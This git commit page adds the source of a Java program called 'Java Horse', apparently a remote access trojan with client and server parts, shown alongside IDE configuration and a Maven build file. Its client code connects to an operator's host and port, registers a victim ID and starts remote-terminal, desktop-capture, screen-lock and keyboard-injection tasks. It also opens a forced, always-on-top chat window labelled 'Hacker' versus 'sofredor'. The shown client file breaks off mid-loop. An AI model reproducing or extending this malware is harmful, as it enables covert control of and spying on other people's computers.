mainSpi 3 years ago
parent
commit
fc31ae4cdc
  1. 8
      .idea/.gitignore
  2. 13
      .idea/compiler.xml
  3. 7
      .idea/encodings.xml
  4. 20
      .idea/jarRepositories.xml
  5. 14
      .idea/misc.xml
  6. 127
      .idea/uiDesigner.xml
  7. 6
      .idea/vcs.xml
  8. 2
      Java Horse.iml
  9. BIN
      demo/buildDone.png
  10. BIN
      demo/buildError.png
  11. BIN
      demo/buildWait.png
  12. BIN
      demo/clientChat.png
  13. BIN
      demo/data.png
  14. BIN
      demo/desktop.png
  15. BIN
      demo/files.png
  16. BIN
      demo/lock.png
  17. BIN
      demo/main.png
  18. BIN
      demo/plataformDependency.png
  19. BIN
      demo/serverChat.png
  20. BIN
      demo/terminal.png
  21. 160
      pom.xml
  22. BIN
      shade/Server.jar
  23. 225
      src/main/java/greek/horse/client/ChatUI.java
  24. 466
      src/main/java/greek/horse/client/ClientSocketManager.java
  25. 78
      src/main/java/greek/horse/client/ClientTerminalTask.java
  26. 120
      src/main/java/greek/horse/client/LockTask.java
  27. 109
      src/main/java/greek/horse/client/TroyClient.java
  28. 33
      src/main/java/greek/horse/client/tasks/ChatForm.java
  29. 83
      src/main/java/greek/horse/client/tasks/ClientChatTask.java
  30. 137
      src/main/java/greek/horse/client/tasks/DesktopTask.java
  31. 7
      src/main/java/greek/horse/models/BrowserTicketType.java
  32. 57
      src/main/java/greek/horse/models/FileBrowserResponseWrapper.java
  33. 72
      src/main/java/greek/horse/models/FileBrowserTicket.java
  34. 28
      src/main/java/greek/horse/models/FileData.java
  35. 276
      src/main/java/greek/horse/models/FileStruct.java
  36. 5
      src/main/java/greek/horse/models/FileType.java
  37. 50
      src/main/java/greek/horse/models/FunctionTicket.java
  38. 160
      src/main/java/greek/horse/models/ImageUtil.java
  39. 19
      src/main/java/greek/horse/models/Message.java
  40. 8
      src/main/java/greek/horse/models/MessageType.java
  41. 5
      src/main/java/greek/horse/models/Mode.java
  42. 44
      src/main/java/greek/horse/models/MonitorDesktopWrapper.java
  43. 153
      src/main/java/greek/horse/models/NetInfo.java
  44. 5
      src/main/java/greek/horse/models/OS.java
  45. 21
      src/main/java/greek/horse/models/RequestFunction.java
  46. 60
      src/main/java/greek/horse/models/TableFile.java
  47. 86
      src/main/java/greek/horse/models/UserInput.java
  48. 132
      src/main/java/greek/horse/server/troyStructure/NetInfoTable.java
  49. 139
      src/main/java/greek/horse/server/troyStructure/ServerSocketManager.java
  50. 230
      src/main/java/greek/horse/server/troyStructure/TroyPlebe.java
  51. 113
      src/main/java/greek/horse/server/troyStructure/TroyServer.java
  52. 57
      src/main/java/greek/horse/server/troyStructure/request/RecurrentTroyRequest.java
  53. 18
      src/main/java/greek/horse/server/troyStructure/request/TroyRequest.java
  54. 69
      src/main/java/greek/horse/server/troyStructure/request/UniqueTroyRequest.java
  55. 229
      src/main/java/greek/horse/server/ui/ChatApp.java
  56. 13
      src/main/java/greek/horse/server/ui/Launcher.java
  57. 76
      src/main/java/greek/horse/server/ui/controllers/ChatController.java
  58. 376
      src/main/java/greek/horse/server/ui/controllers/FileBrowserController.java
  59. 405
      src/main/java/greek/horse/server/ui/controllers/HorseController.java
  60. 160
      src/main/java/greek/horse/server/ui/controllers/MonitorDesktopController.java
  61. 64
      src/main/java/greek/horse/server/ui/controllers/TerminalController.java
  62. 99
      src/main/java/greek/horse/server/ui/controllers/tasks/BuildJarTask.java
  63. 102
      src/main/java/greek/horse/server/ui/controllers/tasks/ChatTask.java
  64. 77
      src/main/java/greek/horse/server/ui/controllers/tasks/FileBrowserTask.java
  65. 183
      src/main/java/greek/horse/server/ui/controllers/tasks/MonitorDesktopTask.java
  66. 129
      src/main/java/greek/horse/server/ui/controllers/tasks/TerminalTask.java
  67. 81
      src/main/java/greek/horse/server/ui/formmaters/FileRowsFactory.java
  68. 52
      src/main/java/greek/horse/server/ui/formmaters/FormattedTableCellFactory.java
  69. 88
      src/main/java/greek/horse/server/ui/formmaters/HorseRowFactory.java
  70. 31
      src/main/java/greek/horse/test/Test.java
  71. 2
      src/main/resources/connection.data
  72. BIN
      src/main/resources/images/diverse/Drives/1030.png
  73. BIN
      src/main/resources/images/diverse/Drives/1032.png
  74. BIN
      src/main/resources/images/diverse/Drives/1033.png
  75. BIN
      src/main/resources/images/diverse/Drives/1034.png
  76. BIN
      src/main/resources/images/diverse/Drives/1035.png
  77. BIN
      src/main/resources/images/diverse/Drives/1036.png
  78. BIN
      src/main/resources/images/diverse/Drives/1041.png
  79. BIN
      src/main/resources/images/diverse/Drives/135.png
  80. BIN
      src/main/resources/images/diverse/Drives/136.png
  81. BIN
      src/main/resources/images/diverse/Drives/139.png
  82. BIN
      src/main/resources/images/diverse/Drives/140.png
  83. BIN
      src/main/resources/images/diverse/Drives/141.png
  84. BIN
      src/main/resources/images/diverse/Drives/142.png
  85. BIN
      src/main/resources/images/diverse/Drives/172.png
  86. BIN
      src/main/resources/images/diverse/Drives/173.png
  87. BIN
      src/main/resources/images/diverse/Drives/180.png
  88. BIN
      src/main/resources/images/diverse/Drives/28.png
  89. BIN
      src/main/resources/images/diverse/Drives/29.png
  90. BIN
      src/main/resources/images/diverse/Drives/30.png
  91. BIN
      src/main/resources/images/diverse/Drives/31.png
  92. BIN
      src/main/resources/images/diverse/Drives/33.png
  93. BIN
      src/main/resources/images/diverse/Drives/34.png
  94. BIN
      src/main/resources/images/diverse/Drives/37.png
  95. BIN
      src/main/resources/images/diverse/Drives/38.png
  96. BIN
      src/main/resources/images/diverse/Drives/39.png
  97. BIN
      src/main/resources/images/diverse/Drives/40.png
  98. BIN
      src/main/resources/images/diverse/Drives/41.png
  99. BIN
      src/main/resources/images/diverse/Drives/42.png
  100. BIN
      src/main/resources/images/diverse/Drives/43.png

8
.idea/.gitignore

@ -0,0 +1,8 @@
# Default ignored files
/shelf/
/workspace.xml
# Datasource local storage ignored files
/../../../../../../../../../../:\Users\Murilo\Desktop\Programacao\Java\Workspaces\Remake\chat\.idea/dataSources/
/dataSources.local.xml
# Editor-based HTTP Client requests
/httpRequests/

13
.idea/compiler.xml

@ -0,0 +1,13 @@
<?xml version="1.0" encoding="UTF-8"?>
<project version="4">
<component name="CompilerConfiguration">
<annotationProcessing>
<profile name="Maven default annotation processors profile" enabled="true">
<sourceOutputDir name="target/generated-sources/annotations" />
<sourceTestOutputDir name="target/generated-test-sources/test-annotations" />
<outputRelativeToContentRoot value="true" />
<module name="Java Horse" />
</profile>
</annotationProcessing>
</component>
</project>

7
.idea/encodings.xml

@ -0,0 +1,7 @@
<?xml version="1.0" encoding="UTF-8"?>
<project version="4">
<component name="Encoding">
<file url="file://$PROJECT_DIR$/src/main/java" charset="UTF-8" />
<file url="file://$PROJECT_DIR$/src/main/resources" charset="UTF-8" />
</component>
</project>

20
.idea/jarRepositories.xml

@ -0,0 +1,20 @@
<?xml version="1.0" encoding="UTF-8"?>
<project version="4">
<component name="RemoteRepositoriesConfiguration">
<remote-repository>
<option name="id" value="central" />
<option name="name" value="Central Repository" />
<option name="url" value="https://repo.maven.apache.org/maven2" />
</remote-repository>
<remote-repository>
<option name="id" value="central" />
<option name="name" value="Maven Central repository" />
<option name="url" value="https://repo1.maven.org/maven2" />
</remote-repository>
<remote-repository>
<option name="id" value="jboss.community" />
<option name="name" value="JBoss Community repository" />
<option name="url" value="https://repository.jboss.org/nexus/content/repositories/public/" />
</remote-repository>
</component>
</project>

14
.idea/misc.xml

@ -0,0 +1,14 @@
<?xml version="1.0" encoding="UTF-8"?>
<project version="4">
<component name="ExternalStorageConfigurationManager" enabled="true" />
<component name="MavenProjectsManager">
<option name="originalFiles">
<list>
<option value="$PROJECT_DIR$/pom.xml" />
</list>
</option>
</component>
<component name="ProjectRootManager" version="2" languageLevel="JDK_14" project-jdk-name="14" project-jdk-type="JavaSDK">
<output url="file://$PROJECT_DIR$/out" />
</component>
</project>

127
.idea/uiDesigner.xml

@ -0,0 +1,127 @@
<?xml version="1.0" encoding="UTF-8"?>
<project version="4">
<component name="Palette2">
<group name="Swing">
<item class="com.intellij.uiDesigner.HSpacer" tooltip-text="Horizontal Spacer" icon="/com/intellij/uiDesigner/icons/hspacer.png" removable="false" auto-create-binding="false" can-attach-label="false">
<default-constraints vsize-policy="1" hsize-policy="6" anchor="0" fill="1" />
</item>
<item class="com.intellij.uiDesigner.VSpacer" tooltip-text="Vertical Spacer" icon="/com/intellij/uiDesigner/icons/vspacer.png" removable="false" auto-create-binding="false" can-attach-label="false">
<default-constraints vsize-policy="6" hsize-policy="1" anchor="0" fill="2" />
</item>
<item class="javax.swing.JPanel" icon="/com/intellij/uiDesigner/icons/panel.png" removable="false" auto-create-binding="false" can-attach-label="false">
<default-constraints vsize-policy="3" hsize-policy="3" anchor="0" fill="3" />
</item>
<item class="javax.swing.JScrollPane" icon="/com/intellij/uiDesigner/icons/scrollPane.png" removable="false" auto-create-binding="false" can-attach-label="true">
<default-constraints vsize-policy="7" hsize-policy="7" anchor="0" fill="3" />
</item>
<item class="javax.swing.JButton" icon="/com/intellij/uiDesigner/icons/button.png" removable="false" auto-create-binding="true" can-attach-label="false">
<default-constraints vsize-policy="0" hsize-policy="3" anchor="0" fill="1" />
<initial-values>
<property name="text" value="Button" />
</initial-values>
</item>
<item class="javax.swing.JRadioButton" icon="/com/intellij/uiDesigner/icons/radioButton.png" removable="false" auto-create-binding="true" can-attach-label="false">
<default-constraints vsize-policy="0" hsize-policy="3" anchor="8" fill="0" />
<initial-values>
<property name="text" value="RadioButton" />
</initial-values>
</item>
<item class="javax.swing.JCheckBox" icon="/com/intellij/uiDesigner/icons/checkBox.png" removable="false" auto-create-binding="true" can-attach-label="false">
<default-constraints vsize-policy="0" hsize-policy="3" anchor="8" fill="0" />
<initial-values>
<property name="text" value="CheckBox" />
</initial-values>
</item>
<item class="javax.swing.JLabel" icon="/com/intellij/uiDesigner/icons/label.png" removable="false" auto-create-binding="false" can-attach-label="false">
<default-constraints vsize-policy="0" hsize-policy="0" anchor="8" fill="0" />
<initial-values>
<property name="text" value="Label" />
</initial-values>
</item>
<item class="javax.swing.JTextField" icon="/com/intellij/uiDesigner/icons/textField.png" removable="false" auto-create-binding="true" can-attach-label="true">
<default-constraints vsize-policy="0" hsize-policy="6" anchor="8" fill="1">
<preferred-size width="150" height="-1" />
</default-constraints>
</item>
<item class="javax.swing.JPasswordField" icon="/com/intellij/uiDesigner/icons/passwordField.png" removable="false" auto-create-binding="true" can-attach-label="true">
<default-constraints vsize-policy="0" hsize-policy="6" anchor="8" fill="1">
<preferred-size width="150" height="-1" />
</default-constraints>
</item>
<item class="javax.swing.JFormattedTextField" icon="/com/intellij/uiDesigner/icons/formattedTextField.png" removable="false" auto-create-binding="true" can-attach-label="true">
<default-constraints vsize-policy="0" hsize-policy="6" anchor="8" fill="1">
<preferred-size width="150" height="-1" />
</default-constraints>
</item>
<item class="javax.swing.JTextArea" icon="/com/intellij/uiDesigner/icons/textArea.png" removable="false" auto-create-binding="true" can-attach-label="true">
<default-constraints vsize-policy="6" hsize-policy="6" anchor="0" fill="3">
<preferred-size width="150" height="50" />
</default-constraints>
</item>
<item class="javax.swing.JTextPane" icon="/com/intellij/uiDesigner/icons/textPane.png" removable="false" auto-create-binding="true" can-attach-label="true">
<default-constraints vsize-policy="6" hsize-policy="6" anchor="0" fill="3">
<preferred-size width="150" height="50" />
</default-constraints>
</item>
<item class="javax.swing.JEditorPane" icon="/com/intellij/uiDesigner/icons/editorPane.png" removable="false" auto-create-binding="true" can-attach-label="true">
<default-constraints vsize-policy="6" hsize-policy="6" anchor="0" fill="3">
<preferred-size width="150" height="50" />
</default-constraints>
</item>
<item class="javax.swing.JComboBox" icon="/com/intellij/uiDesigner/icons/comboBox.png" removable="false" auto-create-binding="true" can-attach-label="true">
<default-constraints vsize-policy="0" hsize-policy="2" anchor="8" fill="1" />
</item>
<item class="javax.swing.JTable" icon="/com/intellij/uiDesigner/icons/table.png" removable="false" auto-create-binding="true" can-attach-label="false">
<default-constraints vsize-policy="6" hsize-policy="6" anchor="0" fill="3">
<preferred-size width="150" height="50" />
</default-constraints>
</item>
<item class="javax.swing.JList" icon="/com/intellij/uiDesigner/icons/list.png" removable="false" auto-create-binding="true" can-attach-label="false">
<default-constraints vsize-policy="6" hsize-policy="2" anchor="0" fill="3">
<preferred-size width="150" height="50" />
</default-constraints>
</item>
<item class="javax.swing.JTree" icon="/com/intellij/uiDesigner/icons/tree.png" removable="false" auto-create-binding="true" can-attach-label="false">
<default-constraints vsize-policy="6" hsize-policy="6" anchor="0" fill="3">
<preferred-size width="150" height="50" />
</default-constraints>
</item>
<item class="javax.swing.JTabbedPane" icon="/com/intellij/uiDesigner/icons/tabbedPane.png" removable="false" auto-create-binding="true" can-attach-label="false">
<default-constraints vsize-policy="3" hsize-policy="3" anchor="0" fill="3">
<preferred-size width="200" height="200" />
</default-constraints>
</item>
<item class="javax.swing.JSplitPane" icon="/com/intellij/uiDesigner/icons/splitPane.png" removable="false" auto-create-binding="false" can-attach-label="false">
<default-constraints vsize-policy="3" hsize-policy="3" anchor="0" fill="3">
<preferred-size width="200" height="200" />
</default-constraints>
</item>
<item class="javax.swing.JSpinner" icon="/com/intellij/uiDesigner/icons/spinner.png" removable="false" auto-create-binding="true" can-attach-label="true">
<default-constraints vsize-policy="0" hsize-policy="6" anchor="8" fill="1" />
</item>
<item class="javax.swing.JSlider" icon="/com/intellij/uiDesigner/icons/slider.png" removable="false" auto-create-binding="true" can-attach-label="false">
<default-constraints vsize-policy="0" hsize-policy="6" anchor="8" fill="1" />
</item>
<item class="javax.swing.JSeparator" icon="/com/intellij/uiDesigner/icons/separator.png" removable="false" auto-create-binding="false" can-attach-label="false">
<default-constraints vsize-policy="6" hsize-policy="6" anchor="0" fill="3" />
</item>
<item class="javax.swing.JProgressBar" icon="/com/intellij/uiDesigner/icons/progressbar.png" removable="false" auto-create-binding="true" can-attach-label="false">
<default-constraints vsize-policy="0" hsize-policy="6" anchor="0" fill="1" />
</item>
<item class="javax.swing.JToolBar" icon="/com/intellij/uiDesigner/icons/toolbar.png" removable="false" auto-create-binding="false" can-attach-label="false">
<default-constraints vsize-policy="0" hsize-policy="6" anchor="0" fill="1">
<preferred-size width="-1" height="20" />
</default-constraints>
</item>
<item class="javax.swing.JToolBar$Separator" icon="/com/intellij/uiDesigner/icons/toolbarSeparator.png" removable="false" auto-create-binding="false" can-attach-label="false">
<default-constraints vsize-policy="0" hsize-policy="0" anchor="0" fill="1" />
</item>
<item class="javax.swing.JScrollBar" icon="/com/intellij/uiDesigner/icons/scrollbar.png" removable="false" auto-create-binding="true" can-attach-label="false">
<default-constraints vsize-policy="6" hsize-policy="0" anchor="0" fill="2" />
</item>
</group>
</component>
<component name="uidesigner-configuration">
<option name="DEFAULT_LAYOUT_MANAGER" value="BorderLayout" />
</component>
</project>

6
.idea/vcs.xml

@ -0,0 +1,6 @@
<?xml version="1.0" encoding="UTF-8"?>
<project version="4">
<component name="VcsDirectoryMappings">
<mapping directory="$PROJECT_DIR$/../../../.." vcs="Git" />
</component>
</project>

2
Java Horse.iml

@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8"?>
<module type="JAVA_MODULE" version="4" />

BIN
demo/buildDone.png

After

Width: 362  |  Height: 178  |  Size: 6.7 KiB

BIN
demo/buildError.png

After

Width: 362  |  Height: 212  |  Size: 8.5 KiB

BIN
demo/buildWait.png

After

Width: 362  |  Height: 195  |  Size: 6.8 KiB

BIN
demo/clientChat.png

After

Width: 360  |  Height: 410  |  Size: 6.8 KiB

BIN
demo/data.png

After

Width: 291  |  Height: 465  |  Size: 17 KiB

BIN
demo/desktop.png

After

Width: 666  |  Height: 492  |  Size: 104 KiB

BIN
demo/files.png

After

Width: 632  |  Height: 424  |  Size: 33 KiB

BIN
demo/lock.png

After

Width: 771  |  Height: 675  |  Size: 12 KiB

BIN
demo/main.png

After

Width: 716  |  Height: 432  |  Size: 34 KiB

BIN
demo/plataformDependency.png

After

Width: 362  |  Height: 195  |  Size: 8.1 KiB

BIN
demo/serverChat.png

After

Width: 362  |  Height: 442  |  Size: 10 KiB

BIN
demo/terminal.png

After

Width: 702  |  Height: 432  |  Size: 20 KiB

160
pom.xml

@ -0,0 +1,160 @@
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>chat</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<javafx.version>16</javafx.version>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
<maven.compiler.release>14</maven.compiler.release>
<project.jarName>JavaChat</project.jarName>
</properties>
<dependencies>
<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
<dependency>
<groupId>log4j</groupId>
<artifactId>log4j</artifactId>
<version>1.2.17</version>
</dependency>
<!-- Fix stupid StaticLoggerBinder error message-->
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-simple</artifactId>
<version>1.6.1</version>
</dependency>
<!-- https://mvnrepository.com/artifact/com.squareup.okhttp3/okhttp -->
<dependency>
<groupId>com.squareup.okhttp3</groupId>
<artifactId>okhttp</artifactId>
<version>4.9.1</version>
</dependency>
<dependency>
<groupId>javax.json</groupId>
<artifactId>javax.json-api</artifactId>
<version>1.1.4</version>
</dependency>
<dependency>
<groupId>org.glassfish</groupId>
<artifactId>javax.json</artifactId>
<version>1.1.4</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.commons/commons-lang3 -->
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-lang3</artifactId>
<version>3.12.0</version>
</dependency>
<dependency>
<groupId>net.coobird</groupId>
<artifactId>thumbnailator</artifactId>
<version>[0.4, 0.5)</version>
</dependency>
<dependency>
<groupId>org.openjfx</groupId>
<artifactId>javafx-controls</artifactId>
<version>${javafx.version}</version>
</dependency>
<dependency>
<groupId>org.openjfx</groupId>
<artifactId>javafx-fxml</artifactId>
<version>${javafx.version}</version>
</dependency>
<dependency>
<groupId>org.openjfx</groupId>
<artifactId>javafx-swing</artifactId>
<version>15.0.1</version>
</dependency>
<dependency>
<groupId>org.openjfx</groupId>
<artifactId>javafx-graphics</artifactId>
<version>${javafx.version}</version>
<classifier>win</classifier>
</dependency>
<dependency>
<groupId>org.openjfx</groupId>
<artifactId>javafx-graphics</artifactId>
<version>${javafx.version}</version>
<classifier>linux</classifier>
</dependency>
<dependency>
<groupId>org.openjfx</groupId>
<artifactId>javafx-graphics</artifactId>
<version>${javafx.version}</version>
<classifier>mac</classifier>
</dependency>
<dependency>
<groupId>org.zeroturnaround</groupId>
<artifactId>zt-zip</artifactId>
<version>1.14</version>
<type>jar</type>
</dependency>
<dependency>
<groupId>com.formdev</groupId>
<artifactId>flatlaf</artifactId>
<version>2.0-rc1</version>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<version>3.8.1</version>
<configuration>
<release>${maven.compiler.release}</release>
</configuration>
</plugin>
<plugin>
<groupId>org.openjfx</groupId>
<artifactId>javafx-maven-plugin</artifactId>
<version>0.0.5</version>
</plugin>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-shade-plugin</artifactId>
<version>2.4.3</version>
<executions>
<execution>
<phase>package</phase>
<goals>
<goal>shade</goal>
</goals>
<configuration>
<shadedArtifactAttached>true</shadedArtifactAttached>
<shadedClassifierName>project-classifier</shadedClassifierName>
<outputFile>shade\${file.name}.jar</outputFile>
<transformers>
<transformer implementation=
"org.apache.maven.plugins.shade.resource.ManifestResourceTransformer">
<!-- <mainClass>Launcher</mainClass>-->
<mainClass>${my.mainClass}</mainClass>
</transformer>
</transformers>
</configuration>
</execution>
</executions>
</plugin>
</plugins>
</build>
</project>

BIN
shade/Server.jar

225
src/main/java/greek/horse/client/ChatUI.java

@ -0,0 +1,225 @@
package greek.horse.client;
import com.formdev.flatlaf.FlatIntelliJLaf;
import com.formdev.flatlaf.FlatLightLaf;
import greek.horse.models.MessageType;
import org.apache.log4j.Logger;
import javax.swing.*;
import javax.swing.border.EmptyBorder;
import javax.swing.event.CaretEvent;
import javax.swing.event.CaretListener;
import javax.swing.event.DocumentEvent;
import javax.swing.event.DocumentListener;
import javax.swing.text.*;
import java.awt.*;
import java.awt.event.*;
import java.util.Arrays;
public class ChatUI extends JFrame {
private final JTextField messageTextField;
private final JButton sendBtn;
private final AbstractDocument doc;
private static final SimpleAttributeSet serverAttr = new SimpleAttributeSet();
private static final SimpleAttributeSet clientAttr = new SimpleAttributeSet();
private static final SimpleAttributeSet defaultAttr = new SimpleAttributeSet();
private static final Logger log = Logger.getLogger(ChatUI.class);
static {
StyleConstants.setFontSize(serverAttr, 16);
StyleConstants.setForeground(serverAttr, new Color(200, 0, 0));
StyleConstants.setFontSize(clientAttr, 16);
StyleConstants.setForeground(clientAttr, Color.BLUE);
StyleConstants.setFontSize(defaultAttr, 16);
StyleConstants.setForeground(defaultAttr, Color.BLACK);
}
public ChatUI() {
super("Chat");
try {
UIManager.setLookAndFeel(new FlatIntelliJLaf());
} catch (Exception e) {
log.error("Could not set system look and feel", e);
}
this.setDefaultCloseOperation(JFrame.DO_NOTHING_ON_CLOSE);
this.setUndecorated(true);
this.setAlwaysOnTop(true);
setBounds(100, 100, 360, 410);
JPanel mainPanel = new JPanel();
mainPanel.setBorder(new EmptyBorder(5, 5, 5, 5));
setContentPane(mainPanel);
mainPanel.setLayout(new BorderLayout(0, 5));
JScrollPane scrollPane = new JScrollPane();
mainPanel.add(scrollPane, BorderLayout.CENTER);
JTextPane textPane = new JTextPane();
textPane.setBackground(Color.WHITE);
textPane.setEditable(false);
scrollPane.setViewportView(textPane);
JPanel panel = new JPanel();
mainPanel.add(panel, BorderLayout.SOUTH);
panel.setLayout(new BorderLayout(5, 0));
messageTextField = new JTextField();
messageTextField.setFont(new Font("System", Font.PLAIN, 15));
panel.add(messageTextField, BorderLayout.CENTER);
messageTextField.setColumns(10);
sendBtn = new JButton("Send");
sendBtn.setFont(new Font("System", Font.PLAIN, 15));
panel.add(sendBtn, BorderLayout.EAST);
this.setContentPane(mainPanel);
// this.setSize(new Dimension(360, 410));
// this.setMaximumSize(this.getSize());
this.setResizable(false);
this.doc = (AbstractDocument) textPane.getStyledDocument();
this.messageTextField.setFocusable(true);
this.messageTextField.grabFocus();
textPane.setFocusable(false);
DefaultCaret caret = (DefaultCaret) textPane.getCaret();
caret.setUpdatePolicy(DefaultCaret.OUT_BOTTOM);
this.setLocationByPlatform(false);
Rectangle bounds = GraphicsEnvironment.getLocalGraphicsEnvironment().getDefaultScreenDevice().getDefaultConfiguration().getBounds();
int x = ((int) bounds.getWidth() / 2) - (this.getWidth() / 2);
int y = ((int) bounds.getHeight() / 3) - (this.getHeight() / 3);
if (x > 0 && y > 0) {
this.setLocation(x, y);
} else {
this.setLocation(0, 0);
}
this.addFocusListener(new FocusListener() {
@Override
public void focusGained(FocusEvent e) {
}
@Override
public void focusLost(FocusEvent e) {
setState(JFrame.MAXIMIZED_BOTH);
toFront();
}
});
this.addWindowListener(new WindowListener() {
@Override
public void windowOpened(WindowEvent e) {
}
@Override
public void windowClosing(WindowEvent e) {
}
@Override
public void windowClosed(WindowEvent e) {
}
@Override
public void windowIconified(WindowEvent e) {
setState(JFrame.MAXIMIZED_BOTH);
toFront();
}
@Override
public void windowDeiconified(WindowEvent e) {
}
@Override
public void windowActivated(WindowEvent e) {
}
@Override
public void windowDeactivated(WindowEvent e) {
setState(JFrame.MAXIMIZED_BOTH);
toFront();
}
});
}
public static void main(String[] args) throws BadLocationException, InterruptedException {
FlatLightLaf.setup();
ChatUI frame = new ChatUI();
for (int i = 0; i < 15; i++) {
frame.addLine("Hacker", "se fudeo", MessageType.SERVER);
frame.addLine("sofredor", "oh nao daddy", MessageType.CLIENT);
}
frame.setSendListener(new ActionListener() {
@Override
public void actionPerformed(ActionEvent e) {
System.out.println(e.getActionCommand());
}
});
frame.setVisible(true);
}
public void addLine(String name, String message, MessageType type) {
try {
this.doc.insertString(doc.getLength(), name, type.equals(MessageType.SERVER) ? serverAttr : clientAttr);
this.doc.insertString(doc.getLength(), " > " + message + "\n", defaultAttr);
} catch (Exception e) {
log.error("Error writing to TextPane", e);
}
}
public void setSendListener(ActionListener listener) {
this.sendBtn.addActionListener(e -> actionMessage(listener, e.getSource(), e.getID()));
this.messageTextField.addKeyListener(new KeyListener() {
@Override
public void keyTyped(KeyEvent e) {
}
@Override
public void keyPressed(KeyEvent e) {
if (e.getKeyCode() == KeyEvent.VK_ENTER) {
actionMessage(listener, e.getSource(), e.getID());
}
}
@Override
public void keyReleased(KeyEvent e) {
}
});
}
public void removeSendListener() {
Arrays.asList(this.sendBtn.getActionListeners()).forEach(sendBtn::removeActionListener);
Arrays.asList(this.messageTextField.getKeyListeners()).forEach(messageTextField::removeKeyListener);
}
public void cleanMessages() {
try {
this.doc.remove(0, doc.getLength());
} catch (Exception e) {
log.error("Error cleaning doc", e);
}
}
private void actionMessage(ActionListener listener, Object source, int id) {
listener.actionPerformed(new ActionEvent(source, id, messageTextField.getText()));
messageTextField.setText("");
}
}

466
src/main/java/greek/horse/client/ClientSocketManager.java

@ -0,0 +1,466 @@
package greek.horse.client;
import greek.horse.client.tasks.ClientChatTask;
import greek.horse.client.tasks.DesktopTask;
import greek.horse.models.*;
import okhttp3.Request;
import okhttp3.Response;
import org.apache.commons.lang3.SystemUtils;
import org.apache.log4j.Logger;
import javax.json.Json;
import javax.json.JsonObject;
import javax.json.JsonReader;
import javax.swing.filechooser.FileSystemView;
import java.awt.*;
import java.awt.event.KeyEvent;
import java.io.*;
import java.net.InetAddress;
import java.net.Socket;
import java.nio.file.Files;
import java.nio.file.Path;
import java.util.*;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.concurrent.ThreadLocalRandom;
import java.util.concurrent.atomic.AtomicBoolean;
import java.util.concurrent.atomic.AtomicReference;
import java.util.stream.Collectors;
public class ClientSocketManager {
private static final String id = ThreadLocalRandom.current().nextInt(100, 9999 + 1) + System.currentTimeMillis() + SystemUtils.getHostName();
private AtomicBoolean running = new AtomicBoolean(true);
private final TroyClient troyClient;
private final Robot bot = new Robot();
public final static HashMap<Integer, Integer> extendedKeys = createMap();
private final AtomicReference<ObjectOutputStream> oos = new AtomicReference<>();
private Socket socket;
private final ExecutorService threadPool = Executors.newCachedThreadPool();
private final LockTask lockTask = new LockTask(this, bot);
private final ClientTerminalTask terminalTask = new ClientTerminalTask(this);
private final DesktopTask desktopTask = new DesktopTask(this, bot);
private final ClientChatTask chatTask = new ClientChatTask(this);
private final HashMap<FunctionTicket, Object> fixedMap = new HashMap<>();
private static final Logger log = Logger.getLogger(ClientSocketManager.class);
public ClientSocketManager(TroyClient troyClient) throws AWTException {
this.troyClient = troyClient;
threadPool.execute(lockTask);
threadPool.execute(terminalTask);
threadPool.execute(desktopTask);
threadPool.execute(chatTask);
}
private static HashMap<Integer, Integer> createMap() {
HashMap<Integer, Integer> extendedKeys = new HashMap<>();
extendedKeys.put(16, KeyEvent.VK_SHIFT);
extendedKeys.put(20, KeyEvent.VK_CAPS_LOCK);
extendedKeys.put(9, KeyEvent.VK_TAB);
extendedKeys.put(17, KeyEvent.VK_CONTROL);
extendedKeys.put(92, KeyEvent.getExtendedKeyCodeForChar('\\'));
extendedKeys.put(524, KeyEvent.VK_WINDOWS);
extendedKeys.put(18, KeyEvent.VK_ALT);
extendedKeys.put(65406, KeyEvent.VK_ALT_GRAPH);
extendedKeys.put(0, KeyEvent.VK_SLASH);
extendedKeys.put(154, KeyEvent.VK_PRINTSCREEN);
extendedKeys.put(145, KeyEvent.VK_SCROLL_LOCK);
extendedKeys.put(144, KeyEvent.VK_NUM_LOCK);
extendedKeys.put(96, KeyEvent.VK_0);
extendedKeys.put(97, KeyEvent.VK_1);
extendedKeys.put(98, KeyEvent.VK_2);
extendedKeys.put(99, KeyEvent.VK_3);
extendedKeys.put(100, KeyEvent.VK_4);
extendedKeys.put(101, KeyEvent.VK_5);
extendedKeys.put(102, KeyEvent.VK_6);
extendedKeys.put(103, KeyEvent.VK_7);
extendedKeys.put(104, KeyEvent.VK_8);
extendedKeys.put(105, KeyEvent.VK_9);
extendedKeys.put(111, KeyEvent.VK_SLASH);
extendedKeys.put(106, KeyEvent.VK_ASTERISK);
extendedKeys.put(109, KeyEvent.VK_MINUS);
extendedKeys.put(107, KeyEvent.VK_PLUS);
extendedKeys.put(110, KeyEvent.VK_COMMA);
extendedKeys.put(129, KeyEvent.VK_DEAD_ACUTE);
extendedKeys.put(131, KeyEvent.VK_DEAD_TILDE);
extendedKeys.put(222, KeyEvent.VK_QUOTE);
return extendedKeys;
}
public void run(String hostLink, String port) throws IOException, ClassNotFoundException, InterruptedException {
try {
socket = connect(hostLink, port);
ObjectInputStream ois = new ObjectInputStream(socket.getInputStream());
this.oos.set(new ObjectOutputStream(socket.getOutputStream()));
this.oos.get().writeObject(id); // register ID
while (running.get()) {
HashMap<FunctionTicket, Object> requestMap = (HashMap<FunctionTicket, Object>) ois.readObject();
log.debug("requestMap: " + requestMap);
HashMap<FunctionTicket, Object> answerMap = new HashMap<>();
Set<FunctionTicket> keys = Collections.unmodifiableSet(requestMap.keySet());
for (FunctionTicket f : keys) {
if (f.isFixed()) {
fixedMap.put(f, requestMap.get(f));
}
}
for (FunctionTicket ticket : requestMap.keySet()) {
